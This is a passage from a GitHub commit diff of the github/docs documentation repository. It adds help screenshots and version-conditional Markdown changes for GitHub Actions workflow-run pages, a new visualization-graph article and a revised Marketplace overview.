Contributing](/CONTRIBUTING.md). If you have a solution to one of the open issues, you will need to fork the repository and submit a pull request using the [template](https://github.com/github/docs/blob/main/CONTRIBUTING.md#pull-request-template) that is visible automatically in the pull request body. For more details about this process, please check out [Getting Started with Contributing](/CONTRIBUTING.md). #### Join us in discussions @@ -50,6 +50,8 @@ There are a few more things to know when you're getting started with this repo: In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail: - [content/README.md](content/README.md) - [content/graphql/README.md](content/graphql/README.md) - [content/rest/README.md](content/rest/README.md) - [contributing/README.md](contributing/README.md) - [data/README.md](data/README.md) - [data/reusables/README.md](data/reusables/README.md) BIN +164 KB assets/images/help/classroom/assignment-group-hero.png Binary file not shown. BIN +75.5 KB assets/images/help/classroom/assignment-ide-go-grant-access-button.png Binary file not shown. BIN +175 KB assets/images/help/classroom/assignment-individual-hero.png Binary file not shown. BIN +27.6 KB assets/images/help/classroom/assignment-repository-ide-button-in-readme.png Binary file not shown. BIN +83.4 KB assets/images/help/classroom/assignments-assign-deadline.png Binary file not shown. BIN +32.4 KB assets/images/help/classroom/assignments-assignment-title.png Binary file not shown. BIN +27.7 KB assets/images/help/classroom/assignments-autograding-click-pencil-or-trash.png Binary file not shown. BIN +72 KB assets/images/help/classroom/assignments-choose-repository-visibility.png Binary file not shown. BIN +20.1 KB assets/images/help/classroom/assignments-click-continue-button.png Binary file not shown. BIN +23.7 KB assets/images/help/classroom/assignments-click-create-assignment-button.png Binary file not shown. BIN +76.4 KB assets/images/help/classroom/assignments-click-grading-and-feedback.png Binary file not shown. BIN +53.1 KB assets/images/help/classroom/assignments-click-new-assignment-button.png Binary file not shown. BIN +134 KB assets/images/help/classroom/assignments-click-online-ide.png Binary file not shown. BIN +77.8 KB assets/images/help/classroom/assignments-click-pencil.png Binary file not shown. BIN +18.8 KB assets/images/help/classroom/assignments-click-review-button.png Binary file not shown. BIN +20.6 KB assets/images/help/classroom/assignments-click-save-test-case-button.png Binary file not shown. BIN +121 KB assets/images/help/classroom/assignments-click-template-repository-in-list.png Binary file not shown. BIN +21.1 KB assets/images/help/classroom/assignments-click-update-assignment.png Binary file not shown. BIN +76.9 KB assets/images/help/classroom/assignments-click-view-ide.png Binary file not shown. BIN +96.5 KB assets/images/help/classroom/assignments-click-view-test.png Binary file not shown. BIN +71.3 KB assets/images/help/classroom/assignments-define-teams.png Binary file not shown. BIN +39.4 KB assets/images/help/classroom/assignments-enable-feedback-pull-requests.png Binary file not shown. BIN +40.4 KB assets/images/help/classroom/assignments-type-protected-file-paths.png Binary file not shown. BIN +330 KB assets/images/help/classroom/autograding-actions-logs.png Binary file not shown. BIN +187 KB assets/images/help/classroom/autograding-actions-tab.png Binary file not shown. BIN +94.9 KB assets/images/help/classroom/autograding-click-grading-method.png Diff not rendered. BIN +57.5 KB assets/images/help/classroom/autograding-click-pencil.png Diff not rendered. BIN +57.7 KB assets/images/help/classroom/autograding-click-trash.png Diff not rendered. BIN +168 KB assets/images/help/classroom/autograding-hero.png Diff not rendered. BIN +154 KB assets/images/help/classroom/classroom-add-students-to-your-roster.png Diff not rendered. BIN +166 KB assets/images/help/classroom/classroom-copy-credentials.png Diff not rendered. BIN +181 KB assets/images/help/classroom/classroom-hero.png Diff not rendered. BIN +48.3 KB assets/images/help/classroom/classroom-settings-click-connection-settings.png Diff not rendered. BIN +94 KB ...ges/help/classroom/classroom-settings-click-disconnect-from-your-lms-button.png Diff not rendered. BIN +148 KB assets/images/help/classroom/classroom-settings-click-lms.png Diff not rendered. BIN +149 KB assets/images/help/classroom/click-assignment-in-list.png Diff not rendered. BIN +52.3 KB assets/images/help/classroom/click-classroom-in-list.png Diff not rendered. BIN +49.5 KB assets/images/help/classroom/click-create-classroom-button.png Diff not rendered. BIN +30 KB assets/images/help/classroom/click-create-roster-button.png Diff not rendered. BIN +78.2 KB assets/images/help/classroom/click-delete-classroom-button.png Diff not rendered. BIN +60.8 KB ...images/help/classroom/click-import-from-a-learning-management-system-button.png Diff not rendered. BIN +51.9 KB assets/images/help/classroom/click-new-classroom-button.png Diff not rendered. BIN +83.4 KB assets/images/help/classroom/click-organization.png Diff not rendered. BIN +28.4 KB assets/images/help/classroom/click-settings.png Diff not rendered. BIN +29.7 KB assets/images/help/classroom/click-students.png Diff not rendered. BIN +60 KB assets/images/help/classroom/click-update-students-button.png Diff not rendered. BIN +127 KB assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png Diff not rendered. BIN +104 KB assets/images/help/classroom/delete-classroom-modal-with-warning.png Diff not rendered. BIN +264 KB assets/images/help/classroom/ide-makecode-arcade-version-control-button.png Diff not rendered. BIN +69.4 KB assets/images/help/classroom/ide-replit-version-control-button.png Diff not rendered. BIN +234 KB assets/images/help/classroom/lms-github-classroom-credentials.png Diff not rendered. BIN +955 KB assets/images/help/classroom/probot-settings.gif Diff not rendered. BIN +113 KB assets/images/help/classroom/roster-hero.png Diff not rendered. BIN +40.4 KB assets/images/help/classroom/settings-click-rename-classroom-button.png Diff not rendered. BIN +41 KB assets/images/help/classroom/settings-type-classroom-name.png Diff not rendered. BIN +140 KB assets/images/help/classroom/setup-click-authorize-github-classroom.png Diff not rendered. BIN +102 KB assets/images/help/classroom/setup-click-authorize-github.png Diff not rendered. BIN +163 KB assets/images/help/classroom/setup-click-grant.png Diff not rendered. BIN +324 KB assets/images/help/classroom/students-click-delete-roster-button-in-modal.png Diff not rendered. BIN +91.1 KB assets/images/help/classroom/students-click-delete-roster-button.png Diff not rendered. BIN +48.2 KB assets/images/help/classroom/type-classroom-name.png Diff not rendered. BIN +174 KB assets/images/help/classroom/type-or-upload-student-identifiers.png Diff not rendered. BIN +83.3 KB assets/images/help/classroom/use-drop-down-then-click-archive.png Diff not rendered. BIN +45.2 KB assets/images/help/classroom/use-drop-down-then-click-unarchive.png Diff not rendered. BIN +55.4 KB assets/images/help/discussions/choose-new-category.png Diff not rendered. BIN +56.8 KB assets/images/help/discussions/click-delete-and-move-button.png Diff not rendered. BIN +59.7 KB assets/images/help/discussions/click-delete-discussion.png Diff not rendered. BIN +65.3 KB assets/images/help/discussions/click-delete-for-category.png Diff not rendered. BIN +68.9 KB assets/images/help/discussions/click-delete-this-discussion-button.png Diff not rendered. BIN +353 KB assets/images/help/discussions/click-discussion-in-list.png Diff not rendered. BIN +41 KB assets/images/help/discussions/click-edit-categories.png Diff not rendered. BIN +64.3 KB assets/images/help/discussions/click-edit-for-category.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-edit-pinned-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-new-category-button.png Diff not rendered. BIN +98.2 KB assets/images/help/discussions/click-pin-discussion-button.png Diff not rendered. BIN +55.7 KB assets/images/help/discussions/click-pin-discussion.png Diff not rendered. BIN +104 KB assets/images/help/discussions/click-save.png Diff not rendered. BIN +59.9 KB assets/images/help/discussions/click-transfer-discussion-button.png Diff not rendered. BIN +60.2 KB assets/images/help/discussions/click-transfer-discussion.png Diff not rendered. BIN +63.3 KB assets/images/help/discussions/click-unpin-discussion-button.png Diff not rendered. BIN +59.8 KB assets/images/help/discussions/click-unpin-discussion.png Diff not rendered. BIN +140 KB assets/images/help/discussions/comment-mark-as-answer-button.png Diff not rendered. BIN +136 KB assets/images/help/discussions/comment-marked-as-answer.png Diff not rendered. BIN +234 KB assets/images/help/discussions/customize-pinned-discussion.png Diff not rendered. BIN +1.21 MB assets/images/help/discussions/discussons-hero.png Diff not rendered. BIN +139 KB assets/images/help/discussions/edit-category-details.png Diff not rendered. BIN +136 KB assets/images/help/discussions/edit-existing-category-details.png Diff not rendered. BIN +55.5 KB assets/images/help/discussions/existing-category-click-save-changes-button.png Diff not rendered. BIN +680 KB assets/images/help/discussions/hero.png Diff not rendered. BIN +307 KB assets/images/help/discussions/most-helpful.png Diff not rendered. BIN +52.9 KB assets/images/help/discussions/new-category-click-create-button.png Diff not rendered. BIN +132 KB assets/images/help/discussions/new-discussion-button.png Diff not rendered. BIN +140 KB assets/images/help/discussions/new-discussion-select-category-dropdown-menu.png Diff not rendered. BIN +46.7 KB assets/images/help/discussions/new-discussion-start-discussion-button.png Diff not rendered. BIN +108 KB assets/images/help/discussions/new-discussion-title-and-body-fields.png Diff not rendered. BIN +23.1 KB assets/images/help/discussions/public-repo-settings.png Diff not rendered. BIN +49.5 KB assets/images/help/discussions/repository-discussions-tab.png Diff not rendered. BIN +51.8 KB assets/images/help/discussions/search-and-filter-controls.png Diff not rendered. BIN +44.4 KB assets/images/help/discussions/search-result.png Diff not rendered. BIN +35.4 KB assets/images/help/discussions/select-discussions-checkbox.png Diff not rendered. BIN +44.8 KB assets/images/help/discussions/setup-discussions-button.png Diff not rendered. BIN +95.9 KB assets/images/help/discussions/toggle-allow-users-with-read-access-checkbox.png Diff not rendered. BIN +73 KB assets/images/help/discussions/unanswered-discussion.png Diff not rendered. BIN +81.3 KB assets/images/help/discussions/use-choose-a-repository-drop-down.png Diff not rendered. BIN +30.3 KB assets/images/help/discussions/your-discussions.png Diff not rendered. BIN +563 KB assets/images/help/education/click-get-teacher-benefits.png Diff not rendered. BIN +116 KB assets/images/help/images/overview-actions-result-navigate.png Diff not rendered. BIN +150 KB assets/images/help/images/overview-actions-result-updated-2.png Diff not rendered. BIN +128 KB assets/images/help/images/workflow-graph-job.png Diff not rendered. BIN +135 KB assets/images/help/images/workflow-graph.png Diff not rendered. BIN +5.46 KB assets/images/help/organizations/update-profile-button.png Diff not rendered. BIN +44.6 KB assets/images/help/pull_requests/dependency-review-rich-diff.png Diff not rendered. BIN +24.6 KB assets/images/help/pull_requests/dependency-review-source-diff.png Diff not rendered. BIN +214 KB assets/images/help/pull_requests/dependency-review-vulnerability.png Diff not rendered. BIN +105 KB assets/images/help/pull_requests/file-filter-menu-json.png Diff not rendered. BIN +22.5 KB (510%) assets/images/help/pull_requests/pull-request-tabs-changed-files.png Diff not rendered. BIN +45.2 KB assets/images/help/repository/actions-delete-artifact-updated.png Diff not rendered. BIN +122 KB assets/images/help/repository/actions-failed-pester-test-updated.png Diff not rendered. BIN +45.4 KB assets/images/help/repository/artifact-drop-down-updated.png Diff not rendered. BIN +54.5 KB assets/images/help/repository/cancel-check-suite-updated.png Diff not rendered. BIN +120 KB assets/images/help/repository/copy-link-button-updated-2.png Diff not rendered. BIN +77.6 KB assets/images/help/repository/delete-all-logs-updated-2.png Diff not rendered. BIN +326 KB assets/images/help/repository/docker-action-workflow-run-updated.png Diff not rendered. BIN +84.6 KB assets/images/help/repository/download-logs-drop-down-updated-2.png Diff not rendered. BIN +170 KB assets/images/help/repository/in-progress-run.png Diff not rendered. BIN +124 KB assets/images/help/repository/javascript-action-workflow-run-updated-2.png Diff not rendered. BIN +116 KB assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png Diff not rendered. BIN +80.8 KB assets/images/help/repository/rerun-checks-drop-down-updated.png Diff not rendered. BIN +41.2 KB assets/images/help/repository/search-log-box-updated-2.png Diff not rendered. BIN +133 KB assets/images/help/repository/super-linter-workflow-results-updated-2.png Diff not rendered. BIN +97.5 KB assets/images/help/repository/superlinter-lint-code-base-job-updated.png Diff not rendered. BIN -128 KB assets/images/help/repository/upload-build-test-artifact.png Diff not rendered. BIN +27.5 KB (170%) assets/images/help/repository/view-run-billable-time.png Diff not rendered. BIN +54.8 KB assets/images/help/repository/workflow-run-kebab-horizontal-icon-updated-2.png Diff not rendered. BIN +7.54 KB assets/images/help/settings/appearance-tab.png Diff not rendered. BIN +39.7 KB assets/images/help/settings/theme-settings-radio-buttons.png Diff not rendered. BIN +11.1 KB assets/images/help/settings/update-theme-preference-button.png Diff not rendered. BIN +22.5 KB assets/images/help/sponsors/billing-account-switcher.png Diff not rendered. BIN +6.37 KB (150%) assets/images/help/sponsors/edit-sponsorship-payment-button.png Diff not rendered. BIN +34.8 KB assets/images/help/sponsors/link-account-button.png Diff not rendered. BIN +12.8 KB (170%) assets/images/help/sponsors/manage-your-sponsorship-button.png Diff not rendered. BIN +20.6 KB assets/images/help/sponsors/organization-update-email-textbox.png Diff not rendered. BIN +13.5 KB assets/images/help/sponsors/pay-prorated-amount-link.png Diff not rendered. BIN +34.7 KB assets/images/help/sponsors/select-an-account-drop-down.png Diff not rendered. BIN +17 KB assets/images/help/sponsors/sponsor-as-drop-down-menu.png Diff not rendered. BIN +15.8 KB assets/images/help/sponsors/sponsoring-as-drop-down-menu.png Diff not rendered. BIN +16.1 KB assets/images/help/sponsors/sponsoring-settings-button.png Diff not rendered. BIN +29.5 KB assets/images/help/sponsors/sponsoring-tab.png Diff not rendered. BIN +7.91 KB assets/images/help/sponsors/update-checkbox-manage.png Diff not rendered. BIN +43 KB (160%) assets/images/marketplace/marketplace-request-button.png Diff not rendered. BIN +53.6 KB assets/images/marketplace/marketplace_verified_creator_badges_apps.png Diff not rendered. 6 content/actions/creating-actions/creating-a-docker-container-action.md @@ -226,6 +226,10 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 6 content/actions/creating-actions/creating-a-javascript-action.md @@ -261,9 +261,11 @@ jobs: ``` {% endraw %} From your repository, click the **Actions** tab, and select the latest workflow run. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. From your repository, click the **Actions** tab, and select the latest workflow run. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}Under **Jobs** or in the visualization graph, click **A job to say hello**. {% endif %}You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% elsif currentVersion ver_gt "enterprise-server@2.22" %}  {% else %}  4 content/actions/guides/about-packaging-with-github-actions.md @@ -25,7 +25,11 @@ Creating a package at the end of a continuous integration workflow can help duri Now, when reviewing a pull request, you'll be able to look at the workflow run and download the artifact that was produced. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} This will let you run the code in the pull request on your machine, which can help with debugging or testing the pull request. 4 content/actions/guides/building-and-testing-powershell.md @@ -60,7 +60,11 @@ jobs: * `run: Test-Path resultsfile.log` - Check whether a file called `resultsfile.log` is present in the repository's root directory. * `Should -Be $true` - Uses Pester to define an expected result. If the result is unexpected, then {% data variables.product.prodname_actions %} flags this as a failed test. For example: {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} * `Invoke-Pester Unit.Tests.ps1 -Passthru` - Uses Pester to execute tests defined in a file called `Unit.Tests.ps1`. For example, to perform the same test described above, the `Unit.Tests.ps1` will contain the following: ``` 7 content/actions/guides/storing-workflow-data-as-artifacts.md @@ -108,8 +108,6 @@ jobs: path: output/test/code-coverage.html ```  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Configuring a custom artifact retention period @@ -238,7 +236,12 @@ jobs: echo The result is $value ``` The workflow run will archive any artifacts that it generated. For more information on downloading archived artifacts, see "[Downloading workflow artifacts](/actions/managing-workflow-runs/downloading-workflow-artifacts)." {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" %} 8 content/actions/index.md @@ -68,18 +68,18 @@ versions: <h2 class="mb-2 font-mktg h1">Code examples</h2> <div class="pr-lg-3 mb-5 mt-3"> <input class="js-code-example-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> <input class="js-filter-card-filter input-lg py-2 px-3 col-12 col-lg-8 form-control" placeholder="Search code examples" type="search" autocomplete="off" aria-label="Search code examples"/> </div> <div class="d-flex flex-wrap gutter"> {% render 'code-example-card' for actionsCodeExamples as example %} </div> <button class="js-code-example-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> <div class="js-code-example-no-results d-none py-4 text-center text-gray font-mktg"> <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-code-example-filter-value"></strong></h3> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/action_code_examples.yml">Learn how to add a code example {% octicon "arrow-right" %}</a> </div> 11 content/actions/learn-github-actions/introduction-to-github-actions.md @@ -204,7 +204,7 @@ In this diagram, you can see the workflow file you just created and how the {% d ### Viewing the job's activity Once your job has started running, you can view each step's activity on {% data variables.product.prodname_dotcom %}. Once your job has started running, you can {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}see a visualization graph of the run's progress and {% endif %}view each step's activity on {% data variables.product.prodname_dotcom %}. {% data reusables.repositories.navigate-to-repo %} 1. Under your repository name, click **Actions**. @@ -213,7 +213,14 @@ Once your job has started running, you can view each step's activity on {% data  1. Under "Workflow runs", click the name of the run you want to see.  {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the job you want to see.  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. View the results of each step.  {% elsif currentVersion ver_gt "enterprise-server@2.22" %} 1. Click on the job name to see the results of each step.  {% else %} 7 content/actions/managing-workflow-runs/canceling-a-workflow.md @@ -17,9 +17,14 @@ versions: {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. From the list of workflow runs, click the name of the `queued` or `in progress` run that you want to cancel.  1. In the upper-right corner of the workflow, click **Cancel workflow**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} ### Steps {% data variables.product.prodname_dotcom %} takes to cancel a workflow run 4 content/actions/managing-workflow-runs/downloading-workflow-artifacts.md @@ -20,4 +20,8 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click the artifact you want to download. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 1 content/actions/managing-workflow-runs/index.md @@ -18,6 +18,7 @@ versions: {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% link_in_list /using-the-visualization-graph %}{% endif %} {% link_in_list /viewing-workflow-run-history %} {% link_in_list /using-workflow-run-logs %} {% link_in_list /manually-running-a-workflow %} 3 content/actions/managing-workflow-runs/re-running-a-workflow.md @@ -16,5 +16,4 @@ versions: {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.  1. In the upper-right corner of the workflow, use the **Re-run jobs** drop-down menu, and select **Re-run all jobs**.{% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% else %}{% endif %} 4 content/actions/managing-workflow-runs/removing-workflow-artifacts.md @@ -27,7 +27,11 @@ versions: {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under **Artifacts**, click {% octicon "trashcan" aria-label="The trashcan icon" %} next to the artifact you want to remove. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} ### Setting the retention period for an artifact 23 content/actions/managing-workflow-runs/using-the-visualization-graph.md @@ -0,0 +1,23 @@ --- title: Using the visualization graph intro: Every workflow run generates a real-time graph that illustrates the run progress. You can use this graph to monitor and debug workflows. product: '{% data reusables.gated-features.actions %}' versions: free-pro-team: '*' enterprise-server: '>=3.1' --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.visualization-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. The graph displays each job in the workflow. An icon to the left of the job name indicates the status of the job. Lines between jobs indicate dependencies.  2. Click on a job to view the job log.  18 content/actions/managing-workflow-runs/using-workflow-run-logs.md @@ -45,7 +45,11 @@ You can search the build logs for a particular step. When you search logs, only {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper-right corner of the log output, in the **Search logs** search box, type a search query. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. To expand each step you want to include in your search, click the step.  @@ -63,8 +67,12 @@ You can download the log files from your workflow run. You can also download a w {% data reusables.repositories.view-run-superlinter %} {% data reusables.repositories.navigate-to-job-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**. 1. In the upper right corner, click {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}{% octicon "gear" aria-label="The gear icon" %}{% else %}{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}{% endif %} and select **Download log archive**. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Download log archive**.  @@ -80,9 +88,17 @@ You can delete the log files from your workflow run. {% data reusables.repositor {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@2.22" %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} 2. To delete the log files, click the **Delete all logs** button and review the confirmation prompt. {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %}  {% else %}  {% endif %} After deleting logs, the **Delete all logs** button is removed to indicate that no log files remain in the workflow run. {% else %} 1. In the upper right corner, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}. 2 content/actions/managing-workflow-runs/viewing-job-execution-time.md @@ -15,7 +15,7 @@ Billable job execution minutes are only shown for jobs run on private repositori {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow %} {% data reusables.repositories.view-run %} 1. Under the job summary, you can view the job's execution time. To view the billable job execution time, click **Run and billable time details**. 1. Under the job summary, you can view the job's execution time. To view details about the billable job execution time, click the time under **Billable time**.  {% note %} 5 content/actions/quickstart.md @@ -60,8 +60,13 @@ Committing the workflow file in your repository triggers the `push` event and ru {% data reusables.repositories.actions-tab %} {% data reusables.repositories.navigate-to-workflow-superlinter %} {% data reusables.repositories.view-run-superlinter %} {% if currentVersion == "free-pro-team@latest" or currentVersion ver_gt "enterprise-server@3.0" %} 1. Under **Jobs** or in the visualization graph, click the **Lint code base** job.  {% else %} 1. In the left sidebar, click the **Lint code base** job.  {% endif %} {% data reusables.repositories.view-failed-job-results-superlinter %} ### More starter workflows 49 content/developers/github-marketplace/about-github-marketplace.md @@ -1,6 +1,6 @@ --- title: About GitHub Marketplace intro: 'Learn the basics to prepare your app for review before joining {% data variables.product.prodname_marketplace %}.' intro: 'Learn about {% data variables.product.prodname_marketplace %} where you can share your apps and actions publicly with all {% data variables.product.product_name %} users.' redirect_from: - /apps/marketplace/getting-started/ - /marketplace/getting-started @@ -14,52 +14,41 @@ versions: {% data reusables.actions.actions-not-verified %} To learn about publishing {% data variables.product.prodname_actions %} in the {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." To learn about publishing {% data variables.product.prodname_actions %} in {% data variables.product.prodname_marketplace %}, see "[Publishing actions in GitHub Marketplace](/actions/creating-actions/publishing-actions-in-github-marketplace)." ### Apps You can list verified and unverified apps in {% data variables.product.prodname_marketplace %}. Unverified apps do not go through the security, testing, and verification cycle {% data variables.product.prodname_dotcom %} requires for verified apps. Anyone can share their apps with other users on {% data variables.product.prodname_marketplace %} but only listings that are verified by {% data variables.product.company_short %} can include paid plans. For more information, see "[About verified creators](/developers/github-marketplace/about-verified-creators)." Verified apps have a green badge in {% data variables.product.prodname_marketplace %}. Unverified apps have a grey badge next to their listing and are only available as free apps. If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} or {% data variables.product.prodname_oauth_app %}s, see "[Building {% data variables.product.prodname_github_apps %}](/developers/apps/building-github-apps)" or "[Building {% data variables.product.prodname_oauth_app %}s](/developers/apps/building-oauth-apps)."  If you're interested in creating an app for {% data variables.product.prodname_marketplace %}, but you're new to {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s, see "[Building apps](/apps/)." {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. See "[Differences between GitHub and OAuth apps](/apps/differences-between-apps/)" for more details. To learn more about switching from OAuth to {% data variables.product.prodname_github_apps %}, see [Migrating OAuth Apps to {% data variables.product.prodname_github_app %}s](/apps/migrating-oauth-apps-to-github-apps/). {% data reusables.marketplace.github_apps_preferred %}, although you can list both OAuth and {% data variables.product.prodname_github_app %}s in {% data variables.product.prodname_marketplace %}. For more information, see "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_app %}s](/apps/differences-between-apps/)" and "[Migrating {% data variables.product.prodname_oauth_app %}s to {% data variables.product.prodname_github_apps %}](/apps/migrating-oauth-apps-to-github-apps/)." If you have questions about {% data variables.product.prodname_marketplace %}, please contact {% data variables.contact.contact_support %} directly. #### Unverified Apps Unverified apps do not need to meet the "[Requirements for listing an app on {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/requirements-for-listing-an-app-on-github-marketplace/)" or go through the "[Security review process](/marketplace/getting-started/security-review-process/)". {% data reusables.marketplace.unverified-apps %} Having a published paid plan will prevent you from being able to submit an unverified app. You must remove paid plans or keep them in draft mode before publishing an unverified app. To list your unverified app in {% data variables.product.prodname_marketplace %}, you only need to create a "[Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/)" and submit it as an unverified listing. {% data reusables.marketplace.launch-with-free %} ### Publishing an app to {% data variables.product.prodname_marketplace %} #### Verified Apps When you have finished creating your app, you can share it with other users by publishing it to {% data variables.product.prodname_marketplace %}. In summary, the process is: If you've already built an app and you're interested in submitting a verified listing in {% data variables.product.prodname_marketplace %}, start here: 1. Review your app carefully to ensure that it will behave as expected in other repositories and that it follows best practice guidelines. For more information, see "[Security best practices for apps](/developers/github-marketplace/security-best-practices-for-apps)" and "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app#best-practice-for-customer-experience)." 1. [Getting started with {% data variables.product.prodname_marketplace %}](/marketplace/getting-started/)<br/>Learn about requirements, guidelines, and the app submission process. 1. Add webhook events to the app to track user billing requests. For more information about the {% data variables.product.prodname_marketplace %} API, webhook events, and billing requests, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." 1. [Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)<br/>Before you can list your app on {% data variables.product.prodname_marketplace %}, you'll need to integrate billing flows using the {% data variables.product.prodname_marketplace %} API and webhook events. 1. Create a draft {% data variables.product.prodname_marketplace %} listing. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)." 1. [Listing on {% data variables.product.prodname_marketplace %}](/marketplace/listing-on-github-marketplace/) <br/>Create a draft {% data variables.product.prodname_marketplace %} listing, configure webhook settings, and set up pricing plans. 1. Add a pricing plan. For more information, see "[Setting pricing plans for your listing](/developers/github-marketplace/setting-pricing-plans-for-your-listing)." 1. [Selling your app](/marketplace/selling-your-app/)<br/>Learn about pricing plans, billing cycles, and how to receive payment from {% data variables.product.prodname_dotcom %} for your app. 1. Check whether your app meets the requirements for listing on {% data variables.product.prodname_marketplace %} as a free or a paid app. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." 1. [{% data variables.product.prodname_marketplace %} Insights](/marketplace/github-marketplace-insights/)<br/>See how your app is performing in {% data variables.product.prodname_marketplace %}. You can use metrics collected by {% data 